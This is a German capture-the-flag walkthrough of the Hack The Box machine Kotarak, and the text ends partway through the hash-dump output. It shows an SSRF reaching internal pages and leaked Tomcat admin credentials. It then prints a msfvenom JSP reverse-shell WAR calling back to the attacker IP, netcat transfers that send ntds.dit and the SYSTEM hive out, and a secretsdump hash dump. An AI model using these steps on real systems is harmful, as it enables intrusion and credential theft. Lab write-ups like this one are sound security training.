<p>Alle wichtigen Informationen zur Privilege Escalation befinden sich im <strong>/root</strong> Verzeichnis</p>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=yYhYnWo7AUU"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/yYhYnWo7AUU/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes machen wir natürlich einen Nmap-Scan.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.55
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 <span style="color:#f92672">(</span>EdDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>8009/tcp open ajp13 Apache Jserv <span style="color:#f92672">(</span>Protocol v1.3<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ajp-methods:
</span></span><span style="display:flex;"><span>| Supported methods: GET HEAD POST PUT DELETE OPTIONS
</span></span><span style="display:flex;"><span>| Potentially risky methods: PUT DELETE
</span></span><span style="display:flex;"><span>|_ See https://nmap.org/nsedoc/scripts/ajp-methods.html
</span></span><span style="display:flex;"><span>8080/tcp open http Apache Tomcat 8.5.5
</span></span><span style="display:flex;"><span>|_http-favicon: Apache Tomcat
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_ Potentially risky methods: PUT DELETE
</span></span><span style="display:flex;"><span>|_http-title: Apache Tomcat/8.5.5 - Error report
</span></span><span style="display:flex;"><span>60000/tcp open  http    Apache httpd 2.4.18 <span style="color:#f92672">((</span>Ubuntu<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>| http-methods:
</span></span><span style="display:flex;"><span>|_  Supported Methods: GET POST OPTIONS
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.18 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-title:         Kotarak Web Hosting        
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>2 offene Webserver Ports wurden gefunden.</p>
<p>Wenn wir versuchen <strong>10.10.10.55:8080</strong> aufzurufen, bekommen wir als Rückmeldung nur <strong>404 - not found</strong>.<br>
Bruteforcen wir als nächstes Verzeichnisse auf Port 8080.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# gobuster -u http://10.10.10.55:8080 -w /usr/share/wordlists/dirb/common.txt -t <span style="color:#ae81ff">250</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Gobuster v1.2 OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Mode : dir
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url/Domain : http://10.10.10.55:8080/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads : <span style="color:#ae81ff">250</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist : /usr/share/wordlists/dirb/common.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Status codes : 200,204,301,302,307
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span>/df <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/docs <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/favicon.ico <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/examples <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/host-manager <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/manager <span style="color:#f92672">(</span>Status: 302<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">====================================================</span>
</span></span></code></pre></div><p><strong>/manager</strong> klingt interessant.</p>
<p>Sehen wir uns <strong>/manager</strong> mal an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#ae81ff">404</span> Not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The page you tried to access <span style="color:#f92672">(</span>/manager/<span style="color:#f92672">)</span> does not exist.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The Manager application has been re-structured <span style="color:#66d9ef">for</span> Tomcat <span style="color:#ae81ff">7</span> onwards and some of URLs have changed. All URLs used to access the Manager application should now start with one of the following options:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/manager/html <span style="color:#66d9ef">for</span> the HTML GUI
</span></span><span style="display:flex;"><span>/manager/text <span style="color:#66d9ef">for</span> the text interface
</span></span><span style="display:flex;"><span>/manager/jmxproxy <span style="color:#66d9ef">for</span> the JMX proxy
</span></span><span style="display:flex;"><span>/manager/status <span style="color:#66d9ef">for</span> the status pages
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Note that the URL <span style="color:#66d9ef">for</span> the text interface has changed from <span style="color:#e6db74">&#34;/manager&#34;</span> to <span style="color:#e6db74">&#34;/manager/text&#34;</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>..<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Ok, befolgen wir den Hinweis und versuchen <strong>/manager/html</strong>.</p>
<p><img alt="bild2" src="https://imgur.com/kfAYdHl.jpg"></p>
<p>Wir benötigen leider einen Nutzernamen und ein Passwort um an dieser Stelle weiter zu kommen&hellip;</p>
<p>Die Webseite auf <strong>Port 8080</strong> bringt uns aktuell nicht weiter, sehen wir uns die Webseite auf <strong>Port 60000</strong> mal an!</p>
<p><img alt="bild3" src="https://imgur.com/U9PUOrk.jpg"></p>
<p>Auf der Webseite ist nicht viel zu sehen, allerdings haben wir ein Textfeld, in dem wir z.B. eine Url eingeben können, zu dieser wir dann weitergeleitet werden!<br>
Bruteforcen wir auch hier nach Verzeichnissen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# gobuster -u http://10.10.10.55:60000 -w /usr/share/wordlists/dirb/common.txt -t <span style="color:#ae81ff">250</span> -s 200,204,301,302,307,403
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Gobuster v1.2 OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Mode : dir
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url/Domain : http://10.10.10.55:60000/
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads : <span style="color:#ae81ff">250</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist : /usr/share/wordlists/dirb/common.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Status codes : 302,307,403,200,204,301
</span></span><span style="display:flex;"><span><span style="color:#f92672">=====================================================</span>
</span></span><span style="display:flex;"><span>/index.php <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/info.php <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>/server-status <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">====================================================</span>
</span></span></code></pre></div><p><strong>server-status</strong> klingt nach etwas, was hilfreich sein könnte! Wenn wir allerdings <strong>http://10.10.10.55:60000/server-status</strong> besuchen, bekommen wir leider nur <strong>403 - forbidden</strong> zurück.<br>
Aber was wenn wir <strong>http://10.10.10.55:60000/server-status</strong> bzw. <strong>http://localhost:60000/server-status</strong> in das Textfeld eingeben und das Verzeichnis auf diese Art und Weise besuchen?</p>
<p><img alt="bild" src="https://imgur.com/Nlyy2QX.jpg"></p>
<p>Es hat funktioniert! Wahrscheinlich kann man <strong>server-status</strong> nicht von außerhalb des Servers aufrufen.</p>
<p>Hier ist es auffällig, dass bei vielen Einträgen <strong>127.0.0.1:888</strong> vom localhost aus aufgerufen wurden.</p>
<p>Rufen wir <strong>http://localhost:888/</strong> wieder durch <strong>10.10.10.55:60000</strong> auf:</p>
<p><img alt="bild5" src="https://imgur.com/pCLVglr.jpg"></p>
<p>Wir können dort mehrere Dateien sehen. Wir können allerdings nicht einfach auf einen Dateinamen klicken, um diese aufzurufen. Sehen wir mal in den Seitenquelltext.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>&lt;tr &gt;
</span></span><span style="display:flex;"><span>&lt;td width<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;27&#34;</span>&gt;&lt;a href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?doc=backup&#34;</span> class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tableElement&#34;</span>&gt;&lt;img src<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;inc/images/generic.png&#34;</span> alt<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;dir&#34;</span> width<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;22&#34;</span> height<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;22&#34;</span> border<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;0&#34;</span>&gt;&lt;/a&gt;&lt;/td&gt;
</span></span><span style="display:flex;"><span>&lt;td class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tableElement&#34;</span>&gt;&lt;a href<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;?doc=backup&#34;</span> class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tableElement&#34;</span>&gt;backup&lt;/a&gt;&lt;/td&gt;
</span></span><span style="display:flex;"><span>&lt;td class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tableElementInfo&#34;</span>&gt;&amp;nbsp;2.22 kB&lt;/td&gt;
</span></span><span style="display:flex;"><span>&lt;td class<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;tableElementInfo&#34;</span>&gt;&amp;nbsp;<span style="color:#ae81ff">18</span> <span style="color:#ae81ff">07</span> <span style="color:#ae81ff">2017</span> 21:42:11&lt;/td&gt;
</span></span><span style="display:flex;"><span>&lt;/tr&gt;
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>..<span style="color:#f92672">]</span>
</span></span></code></pre></div><p><strong>?doc=backup</strong> verweist also auf die Datei <strong>backup</strong>.</p>
<p>Rufen wir also <strong>http://localhost:888/?doc=backup</strong> auf.</p>
<p>Wir sehen eine leere Seite&hellip; Schauen wir wieder mal auf den Seitenquelltext.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span><span style="color:#75715e">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">Licensed to the Apache Software Foundation (ASF) under one or more
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">contributor license agreements. See the NOTICE file distributed with
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">this work for additional information regarding copyright ownership.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">The ASF licenses this file to You under the Apache License, Version 2.0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">(the &#34;License&#34;); you may not use this file except in compliance with
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">the License. You may obtain a copy of the License at
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">http://www.apache.org/licenses/LICENSE-2.0
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">Unless required by applicable law or agreed to in writing, software
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">distributed under the License is distributed on an &#34;AS IS&#34; BASIS,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">See the License for the specific language governing permissions and
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">limitations under the License.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;tomcat-users</span> <span style="color:#a6e22e">xmlns=</span><span style="color:#e6db74">&#34;http://tomcat.apache.org/xml&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">xmlns:xsi=</span><span style="color:#e6db74">&#34;http://www.w3.org/2001/XMLSchema-instance&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">xsi:schemaLocation=</span><span style="color:#e6db74">&#34;http://tomcat.apache.org/xml tomcat-users.xsd&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">version=</span><span style="color:#e6db74">&#34;1.0&#34;</span><span style="color:#f92672">&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">NOTE: By default, no user is included in the &#34;manager-gui&#34; role required
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">to operate the &#34;/manager/html&#34; web application. If you wish to use this app,
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">you must define such a user - the username and password are arbitrary. It is
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">strongly recommended that you do NOT use one of the users in the commented out
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">section below since they are intended for use with the examples web
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">application.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">NOTE: The sample user and role entries below are intended for use with the
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">examples web application. They are wrapped in a comment and thus are ignored
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">when reading this file. If you wish to configure these users for use with the
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">examples web application, do not forget to remove the &lt;!.. ..&gt; that surrounds
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">them. You will also need to set the passwords to something appropriate.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!--
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;role rolename=&#34;tomcat&#34;/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;role rolename=&#34;role1&#34;/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;user username=&#34;tomcat&#34; password=&#34;&lt;must-be-changed&gt;&#34; roles=&#34;tomcat&#34;/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;user username=&#34;both&#34; password=&#34;&lt;must-be-changed&gt;&#34; roles=&#34;tomcat,role1&#34;/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;user username=&#34;role1&#34; password=&#34;&lt;must-be-changed&gt;&#34; roles=&#34;role1&#34;/&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;user</span> <span style="color:#a6e22e">username=</span><span style="color:#e6db74">&#34;admin&#34;</span> <span style="color:#a6e22e">password=</span><span style="color:#e6db74">&#34;3@g01PdhB!&#34;</span> <span style="color:#a6e22e">roles=</span><span style="color:#e6db74">&#34;manager,manager-gui,admin-gui,manager-script&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;/tomcat-users&gt;</span>
</span></span></code></pre></div><p>Ein Eintrag mit dem Nutzernamen <strong>admin</strong> und dem dazugehörigen Passwort <strong>3@g01PdhB!</strong>.</p>
<p>Probieren wir die Anmeldedaten doch bei <strong>10.10.10.55:8080/manager/html</strong> aus!</p>
<p><img alt="bild6" src="https://imgur.com/KrRzVJO.jpg"></p>
<p>Es hat funktioniert. Wir sind nun als Admin im Tomcat Manager angemeldet und können nun, wie man ganz unten auf dem Screenshot sieht, eine <a href="https://de.wikipedia.org/wiki/Web_Application_Archive">WAR</a>-Datei hochladen und diese sogar auch ausführen lassen.</p>
<p>Mit Hilfe von <strong>msfvenom</strong> können wir eine <strong>Java JSP Reverse Shell</strong> erstellen und diese als <strong>WAR</strong>-Datei verpacken.<br>
Sehen wir dafür zuerst unsere IP-Adresse nach.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ifconfig tun0
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>inet 10.10.15.158 netmask 255.255.254.0 destination 10.10.15.158
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>..<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>Suchen wir nun nach Java-Payloads.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# msfvenom -l payloads | grep java
</span></span><span style="display:flex;"><span>java/jsp_shell_bind_tcp Listen <span style="color:#66d9ef">for</span> a connection and spawn a command shell
</span></span><span style="display:flex;"><span>java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell
</span></span><span style="display:flex;"><span>java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen <span style="color:#66d9ef">for</span> a connection
</span></span><span style="display:flex;"><span>java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP
</span></span><span style="display:flex;"><span>java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS
</span></span><span style="display:flex;"><span>java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager
</span></span><span style="display:flex;"><span>java/shell/bind_tcp Spawn a piped command shell <span style="color:#f92672">(</span>cmd.exe on Windows, /bin/sh everywhere <span style="color:#66d9ef">else</span><span style="color:#f92672">)</span>. Listen <span style="color:#66d9ef">for</span> a connection
</span></span><span style="display:flex;"><span>java/shell/reverse_tcp Spawn a piped command shell <span style="color:#f92672">(</span>cmd.exe on Windows, /bin/sh everywhere <span style="color:#66d9ef">else</span><span style="color:#f92672">)</span>. Connect back stager
</span></span><span style="display:flex;"><span>jaa/shell_reverse_tcp Connect back to attacker and spawn a command shell
</span></span></code></pre></div><p>Erstellen wir nun den <strong>Java-Payload</strong>, geben unsere IP-Adresse als <strong>LHOST</strong> an, den Port an dem wir die Verbindung empfangen wollen als <strong>LPORT</strong> und geben mit <strong>-f</strong> war an, dass wir dies als <strong>WAR</strong>-Datei haben wollen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST<span style="color:#f92672">=</span>10.10.15.158 LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">4444</span> -f war &gt; m10x.war
</span></span><span style="display:flex;"><span>Payload size: <span style="color:#ae81ff">1090</span> bytes
</span></span><span style="display:flex;"><span>Fial size of war file: <span style="color:#ae81ff">1090</span> bytes
</span></span></code></pre></div><p>Jetzt können wir mit <strong>Netcat</strong> auf dem Port, den wir angegeben haben, auf eine Verbindung warten lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nc -lnvp <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>litening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">4444</span> ...
</span></span></code></pre></div><p>Nun müssen wir nur noch die <strong>.war</strong> Datei hochladen.</p>
<p><img alt="bild7" src="https://imgur.com/VRoqBHq.jpg"></p>
<p>Wir können sehen, dass diese nun unter <strong>Applications</strong> aufgeführt ist.</p>
<p>Wenn wir nun auf den Namen unserer Datei klicken, haben wir eine <strong>Reverse-Shell</strong>!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nc -lnvp <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> <span style="color:#ae81ff">4444</span> ...
</span></span><span style="display:flex;"><span>conect to <span style="color:#f92672">[</span>10.10.15.158<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.10.55<span style="color:#f92672">]</span> <span style="color:#ae81ff">48972</span>
</span></span></code></pre></div><p>Jetzt können wir uns eine interaktive Shell mit z.B. Autocomplete erstellen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>python -c <span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/$ ^Z
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>1<span style="color:#f92672">]</span>+ Stopped nc -lnvp <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>root@kali:~# stty raw -echo
</span></span><span style="display:flex;"><span>root@kali:~# nc -lnvp <span style="color:#ae81ff">4444</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/$ stty rows <span style="color:#ae81ff">53</span>
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/$ stty columns <span style="color:#ae81ff">211</span>
</span></span><span style="display:flex;"><span>tocat@kotarak-dmz:/$ export TERM<span style="color:#f92672">=</span>xterm-256color
</span></span></code></pre></div><p>Im Homeverzeichnis können wir uns mit dem Befehl **ls -R **rekursiv alle Ordner und Dateien anzeigen lassen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tomcat@kotarak-dmz:/$ cd home
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/home$ ls
</span></span><span style="display:flex;"><span>atanas tomcat
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/home$ ls -R
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>atanas tomcat
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./atanas:
</span></span><span style="display:flex;"><span>user.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./tomcat:
</span></span><span style="display:flex;"><span>to_archive
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./tomcat/to_archive:
</span></span><span style="display:flex;"><span>pentest_data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./tomcat/to_archive/pentest_data:
</span></span><span style="display:flex;"><span>2070721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
</span></span></code></pre></div><p>Im Homeverzeichnis von Atanas befindet sich die User Flag!</p>
<p>Im Homeverzeichnis von Tomcat befinden sich zwei sehr interessante Dateien&hellip;<br>
Laden wir uns diese via Netcat herunter.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tomcat@kotarak-dmz:/home$ cd tomcat/to_archive/pentest_data
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ file *
</span></span><span style="display:flex;"><span>20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit: data
</span></span><span style="display:flex;"><span>20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin: MS Windows registry file, NT/2000 or above
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~# mkdir kotarak
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~# cd kotarak/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~/kotarak# nc -lnvp <span style="color:#ae81ff">4445</span> &gt; SYSTEM
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.15.158 &lt; 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~/kotarak# nc -lnvp <span style="color:#ae81ff">4445</span> &gt; ntds.dit
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tocat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ nc 10.10.15.158 &lt; 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
</span></span></code></pre></div><p>Bei den beiden Dateien handelt es sich um <strong>NTDS.dit</strong>, welche eine Datenbank ist die Informationen zur Active Directory beinhält, und um eine Kopie des <strong>SYSTEM Registry Hives</strong>!</p>
<p>Mit Hilfe von dem Skript <strong>secretsdump</strong> von der <strong>Impacket</strong> Skript-Sammlung können wir bei Eingabe der beiden Dateien alle NT-Hashes extrahieren!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
</span></span><span style="display:flex;"><span>Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Target system bootKey: 0x14b6fb98fedc8e15107867c4722d1399
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Dumping Domain Credentials <span style="color:#f92672">(</span>domain<span style="color:#ae81ff">\u</span>id:rid:lmhash:nthash<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Searching <span style="color:#66d9ef">for</span> pekList, be patient
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> PEK <span style="color:#75715e"># 0 found and decrypted: d77ec2af971436bccb3b6fc4a969d7ff</span>
